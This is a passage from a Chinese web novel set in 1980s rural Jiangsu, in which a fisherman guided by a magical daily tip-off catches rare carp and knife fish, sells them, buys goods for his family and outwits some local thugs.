他心思全在鱼上,没留意脚下滩涂与江水交界处有块被水草半遮住的石头。 一脚踩上去,石头一滑! “哎呀!” 赵老头惊呼一声,身体瞬间失去平衡,一个趔趄就往江里栽去! “赵叔小心!” 江涛眼疾手快,一个箭步冲下江堤,在赵老头半个身子歪进江水的瞬间,一把抓住了他的胳膊。 颜卫国和方明也赶忙下来帮忙。 三人合力,将惊魂未定的赵老头从湿滑的边缘拽了回来。 “老赵!你不要命了?” 颜卫国惊出一身冷汗,厉声斥道。 赵老头脸色煞白,喘着粗气,看着脚下幽幽江水,心有余悸。 “我、我看这边水好像深点,想着可能有鱼,没想到这儿还藏了块石头。多亏了涛子,不然,我这一把老骨头今天就得交代在这儿了。” “赵叔,您没事吧?”江涛将他扶上江堤坐下。 “没事没事,就是吓了一跳。” 赵老头摆摆手,这才注意到颜卫国和旁边站着个戴眼镜的陌生年轻人。 “老颜,这位是?” “这是省里来的方技术员,专门研究水产的。我们过来看看涛子早上捞到金鲤鱼的地方。”颜卫国介绍道。 “涛子,你这运气,真是……” 赵老头看着江涛,说不下去了,老脸有些发红。 同一个地方,涛子来就有鱼,他来就空,还差点出事,这脸真是丢大了。 此时,方明顾不上寒暄,径直走下江堤来到水边,仔细观察着这里的水文环境,还掏出个小本子记录起来。 “水流相对平缓,有小回湾,水深估计有三到四米,水草丰茂,确实有可能形成一个小型的特殊生态位。可是……” 他自言自语,陷入了思考。 “方技术员,我发现鲤鱼的地方还得再往前走两里地,在废弃的砖窑码头那边。”江涛指着下游方向。 “呃,你……你不早说。”方明从本子上抬起头,愣了一下。 “我这不是没来得及嘛,您刚才太急了。”江涛笑了笑。 “涛子,原来你是在废弃码头那捞的啊?!” 赵老头一听,顾不上后怕,眼睛立刻瞪圆了。 难怪他在这老拗口转悠半天,毛都没捞着一个! 地方都搞错了! “是啊,赵叔。我一开始是在老拗口捞来着,但走着走着,就走到砖窑那边,运气好碰上了。”江涛一脸无辜地解释。 方明合上本子,“快,带我去!” “好,跟我来!” 江涛应道,又转向赵老头,“赵叔,要不您先回堤上缓缓?” 赵老头摆摆手,挣扎着站起来。 “不用,我跟你们一起去看看!” 他心里好奇得紧,也想看看那捞到锦鲤的宝地到底啥样。 一行人继续往下游走。 路上,方明不断观察着沿岸植被、水流变化,还时不时停下来用手试水温,甚至捡起一块石头看看上面附着的水苔。 江涛边走边随口应付着方明的问话,东拉西扯说了几句似是而非的“经验之谈”,自己都觉得不太靠谱。 方明却听得认真,发现他对江边的地形似乎了如指掌,心里越发好奇。 “江涛同志,你似乎对这片水域的鱼情有种直觉?不仅仅是经验吧?你对水流、水温、水色,甚至岸边植被的判断,似乎很有一套?” 江涛心里苦笑,这哪是经验,这是外挂。 但面上只能含糊道:“在江边长大的,看得多了,摸得多了,大概知道鱼喜欢在哪儿待,什么时候可能出来。今天也是碰巧,加上运气好。” 方明点点头,没再追问,但心里已经给江涛打上一个“有天赋的实践者”的标签。 很快,他们来到废弃砖瓦码头。 江涛指着靠近腐朽木桩的一处水草丰茂的回水湾。 “方技术员,就是这儿。早上那几条鱼,差不多就是在这片水下来回游,我用抄网挨个捞上来的。” 赵老头满脸不可思议,“涛子,你说你就用那小抄网,在这开放的水面,一条一条把鱼捞上来的?” “是啊。”江涛点点头。 “这怎么可能呢?” 赵老头觉得匪夷所思,“这水面开阔,又不是小水坑。你用抄网下水,动静不小,捞着一条,其他鱼还不早就惊得四散逃走了?哪能等着你一条一条去捞?” “嗯,按理说是这样。” 江涛笑了笑,“可早上那鱼就是一条一条出现的,游得也慢,好像不怎么怕人。” 赵老头一脸不信,不过也没再追问。 他拿出带来的撒网,抡圆了胳膊,朝江涛指的那片水域撒了过去。 网沉下去,赵老头本没抱太大希望,就想着试试看江涛是不是在瞎扯。 他随意地收着网绳,没想到网兜出水时,明显感觉有东西在扑腾! 赵老头赶紧把网拖上岸,网底赫然躺着一条手指长的鲤鱼,鳞片上带着些许金红色泽。 虽个头远不如江涛早上捞的那几条,颜色也淡了许多,但确确实实是条罕见的彩鲤! “嘿!还真有!”赵老头又惊又喜。 方明也立刻凑了过来。 刚才赵老头那番质疑,让他心里也对江涛是不是真在这儿捞到锦鲤生出了一丝怀疑。 可现在,活生生的证据就在眼前! 他小心地捡起那条小鱼,对着光仔细打量。 “没错!品相虽一般,颜色也淡,但这鳞片底色和隐约的绯斑,特征很明显!这片水域很可能存在一个具有特殊发色基因的种群!太好了!这活体样本太珍贵了!” 他激动地转向赵老头,“老伯,这条鱼能不能给我?这对我的研究非常重要!” 赵老头本来还挺高兴,一听这话,下意识将鱼夺了回来。 “给你?方技术员,这鱼是我捞上来的。你想要……能出多少钱?” “这……” 方明一下子噎住。 没想到这么小的鱼也要给钱? 方工,这鱼是老赵捞上来的,你要想要就给点,技术站不是有研究经费吗?” 颜卫国在旁提醒。 “可……” 方明脸涨得有些红。 经费紧张,平时都是申请项目资金买设备试剂,哪想过要掏钱从老乡手里买鱼? 他支吾着,“赵老伯,我们科研单位有规定,经费使用……而且这鱼主要是科研价值……” 江涛在旁看着也是无语。 这方技术员,难不成还想白要? 幸亏自己先把鱼卖给识货又大方的周局长了。 要是真拿来给这位方工研究,怕是连个响都听不见。 赵老头见方明支支吾吾,更不肯松手了。 “方技术员,你要诚心要咱们好商量。要不打算出钱,那这鱼我可就带回家养着看了,给我孙子玩也行。” 说着,作势就要找东西装鱼。 方明一看急了。 这活体样本可能蕴含着重要的遗传信息,绝不能放过! 他咬咬牙,“赵老伯,您别急!这样,我个人出十块钱!您看行不行?这鱼个头小,品相也一般,主要是对我们研究有意义……” 十块钱? 抵得上他打好几斤鱼了。 这鱼小,自己留着也没啥大用。 “行吧,方技术员,看你是搞研究的,需要这东西,十块就十块吧。” 赵老头勉为其难答应,其实心里乐开了花。 方明赶紧掏出十块钱递给赵老头。 如获至宝般接过那条小鱼,小心放进随身带的一个透明塑料袋里,装了点江水进去。 赵老头捏着十块钱,心里美滋滋的,早忘了刚才差点落水的狼狈。 跟着江涛混果然没错! 第44章 不舍 “方技术员,这下可以安心去吃午饭了吧?”江涛见样本也到手了,便问道。 “可以可以,我也饿了。” 方明小心翼翼地拿着装鱼的袋子,推了推眼镜,一副理所当然该吃饭的样子。 江涛内心叹了口气。 这家伙还真是一点人情世故都不懂,连句客气话都没有,就知道使唤人。 还不如以前他当混子时,起码知道蹭饭要嘴甜会来事。 一行人回到滨江村,来到江涛家。 进了堂屋,看到大圆桌上摆得满满当当,有鱼有肉,有荤有素,方明露出惊讶神色,下意识咽了口唾沫。 “这……这么丰盛?” “不丰盛,不丰盛,都是自家人,随便吃点。” 颜卫国笑着招呼他坐下。 赵老头瞥了一眼桌上的菜。 这不就是昨天江涛大哥二哥送来的赔礼,昨晚没吃完的剩菜热了热,又加了两个时蔬。 不过,月柔手艺好,重新搭配热过,看着依旧诱人。 他暗暗撇嘴,看来这省里来的方技术员,也是个没见过什么大世面,估计平时在单位食堂或者自己凑合惯了。 “方工,别客气,就当在自己家。老赵,涛子,月柔,铁牛,小陈,你们也快坐。” 颜卫国招呼众人入座。 随后,略带歉意地看向站在一旁的江招娣几个丫头。 “丫头们,抱歉啊,又得让你们围着灶台吃饭了。” “没事的,颜爷爷,我们在哪儿吃都一样。” 江招娣作为大姐,带头乖巧地应道。 就连平时最跳脱的老二江盼娣,此刻也懂事地点点头,没有闹脾气。 江涛见了心里很是欣慰,几个女儿都越来越懂事了。 但欣慰之余,也有些不是滋味。 总不能每次来客人,都让自家丫头挤在灶台边吃饭。 看来,家里确实得再添置一张桌子了。 这样以后再来客人,几个女儿也能在八仙桌上安安稳稳吃饭,不至于总这样凑合。 大圆桌,林月柔给众人盛了饭,江涛陪着坐下。 方明确实饿了,也顾不上客气,道了声谢便开始埋头吃饭。 吃得还挺香,尤其对那道回锅的剁椒鱼头感兴趣,辣得直吸气还停不下筷子。 饭桌上,颜卫国和赵老头聊着村里的闲事。 方明偶尔插一两句关于水产养殖的见解,虽有点书呆子气,但能看出是真有几分本事。 江涛默默听着。 这方技术员虽不通人情,可肚子里有货,而且对鱼是真痴迷。 以后,自己真要搞养殖碰到疑难,说不定还能请教他。 吃完饭,江涛起身收拾碗筷,林月柔和几个丫头争着过来帮忙。 方明在旁看得有点愣,忍不住问道:“江涛同志,你平常还干家务呢?” “我是家里的一员当然要干了。” 江涛被问得有些莫名其妙。 当然,以前他是不干的,游手好闲,家里油瓶倒了都不扶。 现在,他是真心想为这个家付出,想多分担一些,让月柔和孩子们轻松点。 再说了,这江海平原一带,女性地位相对较高,家里的经济也并不全靠男人。 家务活并没有全指望着女人,男人搭把手是再正常不过的事。 “方工,我们这都讲究男女平等,家务活互相分担,日子才过得和和美美。” 颜卫国笑着解释。 “男女平等是没错,” 方明觉得不可思议,“可在家务分工上……我老家那边,还有我单位里,这些事通常都是女同志操持的。男同志专心搞工作搞研究就行了。” “方工,你是还没去过申城吧?” 颜卫国哈哈一笑,他走南闯北,见识多,知道各地风俗差异。 “那边啊,很多家庭都是男的做饭干家务,手脚麻利,可比有些女同志干得还好!这叫海派作风,讲究个拎得清,家里家外都能拿得起。涛子这样,挺好的!” 海阳县离申城不算太远,风气上多少也受些影响。 颜卫国以前去申城公干,对此印象深刻。 “哦,原来如此。” 方明似懂非懂地点点头,似乎理解了。 他从小在相对传统的内陆家庭长大,后来又在科研单位,接触的多是埋头搞研究,生活自理能力一般的同事。 对江涛这样,能上厅堂能下厨房的男性,感觉颇为新鲜。 江涛见他只是惊讶好奇,倒也没有流露出什么轻视或不赞同神色,心里也放松了些。 还好方技术员不是那种思想顽固的老学究。 要不然,以后打交道可能会有不必要的麻烦。 下午,吉普车要送方明回县里实验站,颜卫国也一同返回县城。 临上车前,江涛和林月柔出去相送,他看着颜卫国,心里有些不是滋味。 短短两天相处,这位颜伯伯真心实意的关怀和帮助,让他感受到了久违的长辈温暖。 想到他要走,江涛竟有些舍不得。 “傻孩子,” 颜卫国看出他不舍,心里一暖,“县里又不远,想来随时都能来。你有事随时到村公所打电话,或者去县里找我也行。” “渔船的事,我记在心里了。回去我就帮你问问造船厂的门路,看有没有合适的旧船,或者订条新的要什么章程。这事急不得,得碰机会,也要看价钱合不合适。” 江涛点点头,“我明白,让颜伯伯费心了。” 现在他手里也有好几千的巨款了。 只不过,跟买船相比还相距甚远,刚好趁这段时间再挣点。 “跟我还客气什么,跟月柔好好过日子。” 颜卫国笑着摆摆手,转身上了车。 送走颜卫国,江涛和林月柔回到家里。 铁牛正收拾铺砖的工具,堂屋和灶间的地面已经铺上了整齐的红砖,看起来干净又利落。 几个丫头正将之前绑桌腿凳腿的塑料布给撕开,露出桌子凳子本来应有的光亮。 铁牛用袖子抹了把汗,“砖都铺好了,涛子,你看看咋样?” “不错,铁牛,辛苦你了!这下屋里亮堂多了。” 江涛左看看右看看,还别说铁牛的手艺真不错。 “这有啥辛苦的,应该的。”铁牛不以为意。 “对了,铁牛,” 江涛想起午饭时没见铁牛娘,“晌午大娘怎么没过来一起吃饭?” “我娘说老是来你家吃饭,太给你们添麻烦了。月柔嫂子心善,做好饭就盛了一大碗,让招娣给送过去了,有菜有肉的,我娘在家吃过了,还直夸月柔嫂子手艺好呢。” “哦。” 江涛心里踏实了。 林月柔总是这样细心周到。 他看看天色,“铁牛,铺砖的工钱,再给你十块钱,你看行吗?” 铁牛一听,脸都急红了,“涛子,这可不行!昨天你就给过十块了!这就铺点砖,哪能再要钱?你再这样,我以后可不敢帮你干活了!” 看他态度坚决,江涛知道这憨牛的脾气,只好作罢。 “行,那工钱不提了。但今天你必须留这儿吃晚饭,我让月柔炒两个好菜,咱哥俩喝两口,你要再推辞,就是看不起我。” 铁牛挠挠头,“那……那行,吃饭行。” 第45章 万元户 傍晚,江涛推着自行车去了一趟乡里。 割了几斤五花肉,又买了些米面粮油,酱油醋盐等调味品,几瓶汽水,还有几个丫头爱吃的桃酥和水果糖。 王老板和卖猪肉的两天没看到他,还以为他没钱来买东西了呢。 没想到江涛出手比之前还要大方,割肉都要肥瘦相间的五花,斤两称得足足的。 两人见了都忍不住嘀咕,这小子是发什么大财了? 可不是大财嘛。 江涛现在手里可有好几千巨款,再这么干下去,马上要成万元户了! 王老板见江涛越来越有能耐,觉得这个大主顾可得拉拢好,杂货铺里有什么好渔具便是极力推荐。 “涛子,这丝网正宗申城产的,尼龙线,网眼均匀,拉力强,还加了防挂底处理,比那些麻线网耐用多了!对付那些刀鱼之类的就得用这个!” “行,来几张。” 江涛也是从善如流。 毕竟,打渔为生嘛,一应的家伙什都得配备齐全咯。 回村路过小卖部,他又从老邹那买了一板豆腐,还特意打了两斤黄酒。 自行车车把车后座挂得摆得满满当当。 林月柔见买了菜,知道是要招待铁牛,也没多问,系上围裙就开始忙活。 江涛让招娣去请铁牛娘和赵老头过来一起吃晚饭。 没多久,铁牛娘和赵老头就来了。 铁牛娘还带来一小坛自己腌的咸鸭蛋,“家里没啥好东西,这几个咸蛋给你们添个菜。” “大娘您太客气了,快请坐。”林月柔连忙接过。 晚饭很丰盛,林月柔做了拿手的红烧肉、家常豆腐、清炒小青菜,切了咸鸭蛋,还用剩下的鱼身做了溜鱼片。 几样摆得满满当当。 赵老头看着又是一桌好菜,心里直咂舌。 江涛这小子是真发了! 铁牛也看得眼睛发亮,顿顿好酒好菜,这嘴都吃刁了。 江涛给他俩倒上黄酒,几个女人和孩子喝着汽水围坐一桌。 几杯酒下肚,话匣子就打开了。 赵老头抿了口酒,“涛子,今天那个省里来的方技术员,我看后来对你挺热乎的,还一个劲儿想拉你去他那个技术站。你咋没答应呢?那可是公家的单位,吃商品粮,多少人想进都进不去。” “是啊涛子,” 铁牛娘也附和,“有个稳当工作多好,风吹不着雨淋不着的。” 江涛夹了块豆腐,笑了笑,“赵叔,大娘,你们的好意我明白。不过,那地方不适合我。” 他放下筷子,“一开始,人家方技术员就没看上我,觉得我大概又是个想靠关系混进去吃闲饭的。他那眼神,我懂。我本来也没想去。后来,他看我能捞到稀罕鱼,对江边也熟,态度是变了,是真心想让我去。可这时候我才更不想去了。” “为啥呀?”铁牛忍不住问。 “你想啊,” 江涛看向铁牛,“我要是去了技术站,就得规规矩矩在办公室里看资料写报告。搞得跟方技术员一样成了老学究,哪能像现在这样,想下江就下江,想下海就下海?” “我这个人散漫惯了,受不了那份拘束。我就喜欢现在这样,靠自己的本事,在江里讨生活,自由。” “再说了,方技术员为啥后来对我刮目相看?不就是因为我能弄到他弄不到的好货吗?我留在江边,能捞到稀罕鱼,这就是我的价值。” “有了这个价值,以后我要是搞养殖,遇到搞不懂的鱼病,或者想搞点新花样,再去请教他,他肯定乐意帮忙。” “要是我成了他手下的兵,那味道就变了,请教变成分内事,说不定还得看他脸色。现在这样,挺好,是平等打交道,我求他指点,也能用他感兴趣的东西换。” 赵老头听完,眯着眼咂摸了一口酒。 “嗯,是这么个理儿。涛子,你小子野心不小。公家饭好吃,但规矩多,不自在。你现在是辛苦点,可挣多挣少都是自己的。你这么一说,还真是,你手里有他想要的东西,这关系处起来,腰杆子就硬。” 铁牛娘也听懂了,“还是你们年轻人脑子活络,想得长远。这么看,不去也好,自己当自己的家。” “涛子,我觉着你说得对!咱就靠自己这双手,在江里刨食,不比看人脸色强?” 铁牛听得心潮澎湃。 毕竟,他还指望着江涛有了渔船,带他一起干呢。 还有那什么养殖场,听起来就带劲,他也可以跟着帮忙。 说起来,涛子是真有本事,这才几天功夫,日子就大变样了。 “来,铁牛,赵叔,大娘,喝酒。” 江涛举起酒杯,“以后咱们的日子,肯定会越来越好。” “对,越来越好!”众人都笑着举杯。 这顿晚饭,吃得宾主尽欢。 林月柔和几个丫头收拾碗筷。 见江涛有些醉了还帮忙将他扶到床上躺下。 以前她们可不敢,江涛喝醉酒了是会发脾气打人的。 躺在床上,江涛迷迷糊糊中想着,明天的情报又是什么呢? 这靠着“每日情报”在江里讨生活的日子,真是越来越有奔头了。 万元户,也只不过是个开始。 次日清晨,江涛在熟悉的提示音中醒来。 【每日情报:今日巳时,老拗口上游龙口深潭有暗流涌动,携来一批误入的长江刀鱼群,可用细网拦捕。】 长江刀鱼! 江涛一个激灵坐起身,心脏砰砰直跳。 这可不是寻常的鲢鳙鲤鱼,甚至甲鱼能比的! 长江刀鱼号称“长江第一鲜”,肉质细嫩无比,价格极其金贵,是有钱都难买的时令珍品! 情报提示是一批,数量定然可观! 他立刻看向手表,刚过六点,距离巳时,上午九点到十一点还有充足时间。 但捕江刀鱼需用细眼漂网又称丝网,在深水暗流处拦截,操作比撒网复杂,也更费时。 必须立刻出发! 幸亏昨天王老板给他推荐了丝网,要不然,他今天可是巧妇难为无米之炊了。 想想,王老板还真是他的贵人。 江涛匆忙起身,惊动了身旁的林月柔。 “这么早?” 林月柔睡眼惺忪地问。 “嗯,今天可能有好货,得早点去。” 江涛迅速穿衣,“帮我准备点早饭,我吃完就走。” 颜卫国说身体是革命的本钱,这个他也是深以为然。 毕竟,打渔可是个实打实的体力活,身体要是垮了,有再多的情报也是白搭。 当然,他现在手里有钱了,也可以雇人干活,像铁牛就是个好帮手。 但江涛心里清楚,很多时候,你不亲自冲在第一线,就无法真正掌握核心的东西。 将捞捕的全盘操作都交给别人,就等于把主动权交了出去。 第46章 刀鱼 林月柔见他神色急切,立刻起身去灶间生火热点剩饭。 江涛快速洗漱完毕,走到院里活动了一下筋骨。 清晨的空气带着微微凉意,却让他精神一振。 他检查了一下今天要带的渔网和工具,又带上长竹竿、绳索和大水桶。 匆匆扒了几口热饭,江涛推着自行车,载上渔具,天刚大亮就出了门。 他必须赶在其他人出工前,到达龙口深潭,那里水情复杂,去晚了容易被别人瞧见,引来不必要的麻烦。 龙口深潭位于老拗口上游约五六里地,是一处江道陡然收窄,水流湍急的深潭,水下多有漩涡暗流,寻常渔民不敢轻易去那里下网。 但经验丰富的老渔民知道那不时有好东西,会在相对安全的边缘碰碰运气。 江涛刚骑出村口不远,路旁草丛里就窸窸窣窣钻出几个人影,正是宋二手底下那几个闲汉,领头的叫“癞头”。 他们显然是早早就蹲守在这儿了。 “哟,涛子,起这么早,这是要去哪发财啊?” 癞头叼着草根,吊儿郎当地拦在路中间。 身后几个闲汉也嘿嘿笑着围了上来,眼神不住地往江涛车后座的渔具和桶上瞟。 江涛心里一沉,停下车,脸色冷淡,“让开,别耽搁我去打渔。” “打渔?巧了,我们也闲着没事,想跟着涛子你学学手艺,开开眼,看看你到底在哪弄到那么多好货的。哥几个,你们说是不是啊?” 癞头回头朝同伙挤眉弄眼。 “是啊是啊,涛子哥,带带我们呗!” “放心,我们就看看,不抢你的!” 几个闲汉嘻嘻哈哈地附和,脚下却不动,明显是打定主意要赖上了。 宋二交代要对江涛玩个大的,让他们最近盯紧点。 他们琢磨着,要是能摸清江涛捞大货的秘密地点,或者干脆跟着去,看准时机下黑手抢了渔获,宋二一高兴,说不定能多赏他们几块钱酒钱。 反正他们人多,抢江涛还不是手拿把掐的吗? 到时换了钱,买点好酒喝! 但江涛怎么可能让这几个心怀鬼胎的家伙跟着? 他心思电转,想到个办法,故意露出一丝紧张和惧色。 “癞头,你们真想跟着去?我要去的地方……不太平。” “不太平?咋个不太平法?难不成还有水鬼?”癞头不以为然。 “嘿,你还真说对了。” 江涛神秘兮兮地朝老拗口方向指了指。 “老拗口,知道不?水深流急,底下不干净。去年隔壁村老王头在那捞鱼,你们猜怎么着?网拉上来,缠着的不是鱼,是半件泡烂的花褂子!还有人说,半夜能听见那水潭里有女人哭……” 几个闲汉听得汗毛倒竖。 老拗口的邪乎传闻他们听过一些,但被江涛这么煞有介事地一说,又是在这大阳还没火热的清晨,却是格外瘆人。 上次他们没敢监视江涛,就是因为害怕老拗口的邪性。 “你、你少吓唬人!”癞头色厉内荏。 “我吓唬你们干嘛?” 江涛一脸爱信不信,“我是没办法,家里揭不开锅,得去碰碰运气。你们要不怕,就跟着。不过我可丑话说前头,那地方邪性,人多了阳气重还好,人少了……唉,你们自己掂量。我反正是豁出去了。” 说完,他不再理会几人,推着车就要往前走,那架势仿佛真是要去赴险。 几个闲汉你看看我,我看看你,心里都打起了退堂鼓。 他们跟着宋二混,图的是吃白食、捞偏门,可不是真去玩命,尤其还是跟“不干净”的东西玩命。 眼看江涛越走越远,身影都不怎么看得清了,癞头咽了口唾沫,骂道:“妈的,晦气!大清早的……算了,让他去喂水鬼吧!走,回去睡觉!” 几个闲汉终究没敢跟上来,骂骂咧咧地回村了。 江涛摆脱了尾巴,心下稍安。 凭着情报指引,找到了一处水流相对平缓但暗流潜动的回湾。 往上不远就是情报所说的龙口深潭了。 江道在此陡然收窄,两侧碎石形似巨龙张开的上颚与下颚,中间江水奔腾咆哮如龙吐息而得名。 仔细观察水势,他选择好下网点。 将长长的漂网一端固定在岸边的树根上,然后小心翼翼划着赵老头那条小舢板,将网的另一端带到对岸礁石区固定好。 细网如同一条透明的屏障,横亘在江刀鱼群可能经过的通道上。 此时已近巳时,江面水汽氤氲。 江涛紧张地盯着网具和水面。 突然,平静的水面下,似乎有银光一闪而过,接着,细网的浮漂开始出现不规则的轻微颤动! 有鱼撞网了! 江涛强压激动,耐心等待。 约莫过了一刻钟,估计鱼群已过,或者网已缠住不少,才开始收网。 细网出水时,手上传来的沉重感和挣扎感让他欣喜若狂! 网眼上挂满了银光闪闪,形如尖刀的江刀鱼! 每条都有筷子长短,在晨光下闪烁着诱人的光泽。 这一网,收获惊人! 他赶紧将鱼小心摘下,放入装有江水的桶中,保持鲜活。 接着,他又在另一处可能的水道下了第二网,收获同样丰厚。 两个大水桶几乎装满,估摸着至少有五六十斤鲜活刀鱼! 这产量,这品质,放在任何时候都是天价! 江涛不敢耽搁,立刻收拾返程。 他没有回家,而是直接骑上车,用最快的速度赶往乡里。 这么金贵的时鲜,必须争分夺秒送到能出得起价的地方。 没有吉普车,只能指望乡里东风饭店有这能耐了。 他也有两天没去了。 到了东风饭店后厨小院,江涛熟门熟路地敲门。 顾师傅开门看见江涛,一惊,这小子都两天没来卖鱼了,想来是陪颜老领导去了。 “涛子,这次是什么好东西?” “顾师傅,这次我捞着几十斤刀鱼!” “刀…刀鱼!” 顾师傅也是一惊。 刀鱼肉质鲜美无比,一直被老饕和讲究人家追捧,是有钱都难买的时令珍品。 他连忙转身,“你等着,我这就去叫蒋管事!” 蒋管事一听刀鱼,也是跑着出来的。 一看这满桶极其新鲜的长江刀鱼,眼睛都直了! 这可是用来招待贵宾的顶级食材! 明天就有省里考察团下来,正愁没硬菜镇场子呢! “二十块一斤!全要了!” 蒋管事报出一个价格。 江涛一愣,随后了然。 此时八十年代,长江刀鱼还没被大量捕捞,等到九十年代,可就不是这个价钱了。 过秤,六十八斤高高的。 二十块一斤,总共一千三百六十块! 蒋管事直接点了十三张灰蓝色的百元大钞,又数了六张十元纸币,郑重递给江涛。 怀揣着这笔巨款,加上之前卖甲鱼、鳗鱼、鲤鱼、鲢鳙攒下的几千块,江涛的积蓄瞬间突破了六千元大关! 虽还没到万元,但也只差临门一脚了! 在八十年代初,这无疑是一笔惊人的财富,距离“万元户”这个令人艳羡的目标,又迈出了最坚实的一大步! 揣着厚厚一沓钞票,江涛感觉脚步有些发飘。 第47章 便宜外人 不知不觉,自己竟挣了这么多钱! 江涛看着厚厚一大把钞票,心里既兴奋又有些不安。 这么多现金放在身上,或随便藏在家里某个墙洞枕头下,都太不安全了。 给林月柔,她也发愁,家里连个带锁的柜子都没有,藏哪儿都觉得不保险。 “得,先去置办个能锁钱的家当。” 江涛打定主意。 另外,家里吃饭的桌子凳子还是紧张。 上次买的大圆桌配十二张方凳,自家人是够坐了。 可万一像前两天那样,颜伯伯、赵叔、铁牛母子都在,加上几个丫头,又得有人站着。 再有,以后家里要是来人,或者自己真要干点啥,也需要更多的桌凳。 他想起上次买大圆桌的家具厂李师傅,手艺好,人也不错。 正好,再去看看,买个带锁的木头橱柜,再添张八仙桌和几把椅子。 打定主意,他便骑车直奔乡里家具厂。 到了地方,李师傅正在打磨一张桌腿,抬头看见江涛,惊讶地推了推老花镜。 “哟,涛子,又来啦?上次那桌子凳子用着还成吧?” “成,好着呢,李师傅手艺没得说。” 江涛笑着点头,“今天再来看看,想买个能放东西带锁的橱柜,结实点就行。另外,还想看看有没有现成的八仙桌,再配几把椅子。” 李师傅更惊讶了,放下手里的活计,上下打量起江涛。 上次才买走一张大圆桌和十二张方凳,这才几天功夫,又来买橱柜和八仙桌? 他可是听送货的伙计回来说,江涛家就三间老土屋,看着并不像特别宽裕的人家。 这么多家具,那三间屋怎么摆得下啊? 他哪里知道,江涛家马上要盖新房了。 江涛心里盘算着,以后家里要是请人干活,比如盖房、搞养殖之类的,也得有个宽敞的地方让人吃饭歇脚,多备点桌凳总没坏处。 李师傅心里虽疑惑,但做生意的,有顾客上门,自然没有往外推的道理。 “带锁的橱柜……有,有好几种,木料、大小不一样,价钱也不同。八仙桌也有现货,你看看喜欢哪种样式的。” 他热情地引着江涛去看货。 最后,江涛挑中了一个樟木打制,带铜锁扣的中等橱柜,花了四十五块。 又看中一张榆木的八仙桌,配了八把靠背椅,这一套花了七十块。 橱柜能放钱和贵重物品,八仙桌和椅子则能应对更多客人,这些将来搬到新房也都能用上。 “行,就这两样。麻烦李师傅安排人给我送家去,老规矩,我先付定金。”江涛爽快地掏出钱。 “好嘞!涛子你放心,保证给你送到家,安放好!” 李师傅接过钱,心里对江涛的实力又有了新的认识。 这小伙子,看着不显山不露水的,出手却是极为豪爽,是个值得长久交往的大主顾。 他连忙招呼两个伙计过来搬货装车,又特意叮嘱路上小心,给江涛抹了零头,还额外送了两个小靠椅。 “谢谢李师傅,您太客气了。”江涛道谢。 “应该的,应该的。以后家里缺什么家具,尽管来找我,保证给你最实惠的价!”李师傅笑呵呵地拍胸脯。 “成,有需要肯定还来找您。” 伙计们装好车,准备出发。 江涛说他还要去供销社买点别的东西,反正伙计们认识路,直接送到滨江村他家就行。 “行行行,没问题。” 两个伙计上次一人得了五毛钱辛苦费,这次很是积极,拉着板车稳稳当当出发了。 江涛骑向供销社,想给家里老婆孩子买些布料做新衣裳。 这几天肚子是有油水了,可身上穿得还是破破烂烂,补丁摞补丁。 这天气也渐渐热了。 几个孩子和月柔的衣服都还是秋冬的厚衫,该准备些夏天的轻薄料子了。 还有鞋子,孩子们脚上的布鞋都快磨穿了。 到了供销社,柜台后站着两个人。 一个是江川,正懒洋洋靠在柜台边嗑瓜子,瞥见江涛进来,眼神闪了闪,随即若无其事地转过头,装作不认识。 这小子上次让他吃了亏,以为打了点鱼卖了点钱就了不起啊? 穷人乍富,那点钱算什么啊? 日子是细水长流的,要天天有稳定收入才行。 今天挣了几十上百,好几天又分币没有,不一样发不了财吗? 哼,还看不上他的工作。 江川心里鄙夷,打定主意不给江涛好脸,也坚决不承认认识他。 江涛也乐得江川不认识他,待会他买的东西不少,也不想这业绩算在江川头上。 供销社又不是他一个人的。 另一个服务员是个四十来岁的中年妇女,姓王,见有客人进来,立刻放下手里的活,热情地招呼。 “同志,想看看点什么?” “我想看看做夏装的布料,要结实、透气、颜色鲜亮点的,给家里孩子和大人做衣裳。还想看看凉鞋。” 江涛走到王姓服务员那边。 “哎,好嘞!这边都是新到的的确良和棉布,花色多,耐穿。您看这蓝底小花的,小姑娘穿多精神!还有这月白的,做衬衫裙子都好看,清爽!大人嘛,这种藏青的,耐脏又挺括。” 王服务员非常热心地给他介绍,还根据江涛说的大概人数年龄,估算着需要多少布。 江川在旁听了,心里不屑。 装吧,家里一堆赔钱货,个个都要买,得花多少钱? 就江涛那点家底,怕是买了布料就没钱买鞋了,买了鞋就没钱扯布了。 到时掏不出钱就好笑了。 这新来的老王也是傻,对谁都这么热情,等会儿白忙活一场就知道长记性了。 “行,这几样布,大人每人扯一身,八个丫头每人一身半留点富裕,您给算算要多少。还有凉鞋,丫头们脚长得快,您给估摸一下大概穿多大,拿八双女孩的,一双大人的。嗯,再来两双42码解放鞋吧。” 江涛指着挑好的几匹布。 王服务员一听这数量,心里也是一惊,但脸上笑容不减,麻利地开始量布、剪布、算账。 “同志,您家孩子多,这布我给您放宽点尺寸,免得到时不够。凉鞋码数估摸着拿,要是不合适,您三天内拿回来换就行,只要没沾水弄脏。” “我再给您推荐点这个,新到的友谊牌雪花膏,给家里女同志擦脸,香喷喷的。还有这海鸥洗头膏,洗完头发顺溜。夏天蚊虫多,清凉油、风油精也得备上点吧?” 江涛听着觉得有理,又添了雪花膏、洗头膏、三盒清凉油,以及三瓶风油精,还特意给林月柔买了一瓶百雀羚润肤脂涂手。 最后想了想,又买了二十支牙刷,五盒牙膏,以及十个印着红双喜的搪瓷杯和两把行军水壶。 王服务员噼里啪啦打着算盘,最后报出一个数字。 “布是四十块三,凉鞋是十八块六,解放鞋十块二,雪花膏那些是八块五,牙刷牙膏六块八毛,搪瓷杯水壶是十六块二,总共是一百块六。给您抹个零,算一百块!” 江涛爽快地掏出一张灰蓝百元大钞递过去,“您点点。” 王服务员接过钱,脸上笑开了花,“正好!同志您拿好,东西我都给您用纸包好捆结实了。” 一旁冷眼旁观的江川,看到江涛眼皮都不眨就掏出张百元大钞,买了这么一大堆东西,眼珠子都快瞪出来了。 他心里又酸又气,按道理,这业绩该是他的! 江涛是他亲弟弟,来买东西他接待,这提成和业绩自然算他的。 可他装作不认识,现在倒好,便宜了刚调来没多久的老王! 看着老王那掩饰不住的喜色,江川心里就像打翻了五味瓶,难受极了。 早知道……早知道就不端那个架子了! 江涛这小子,到底靠打渔挣了多少钱?! 江涛提着沉甸甸的一大包东西,看都没看江川一眼,跟王服务员道了谢,转身出了供销社。 看着他离去的背影,江川脸色一阵青一阵白,心里那股邪火怎么也压不下去。 “呸!了不起啊,装什么装!有几个臭钱就不知道自己姓什么了!打渔能发一辈子财?看你能嘚瑟几天!” 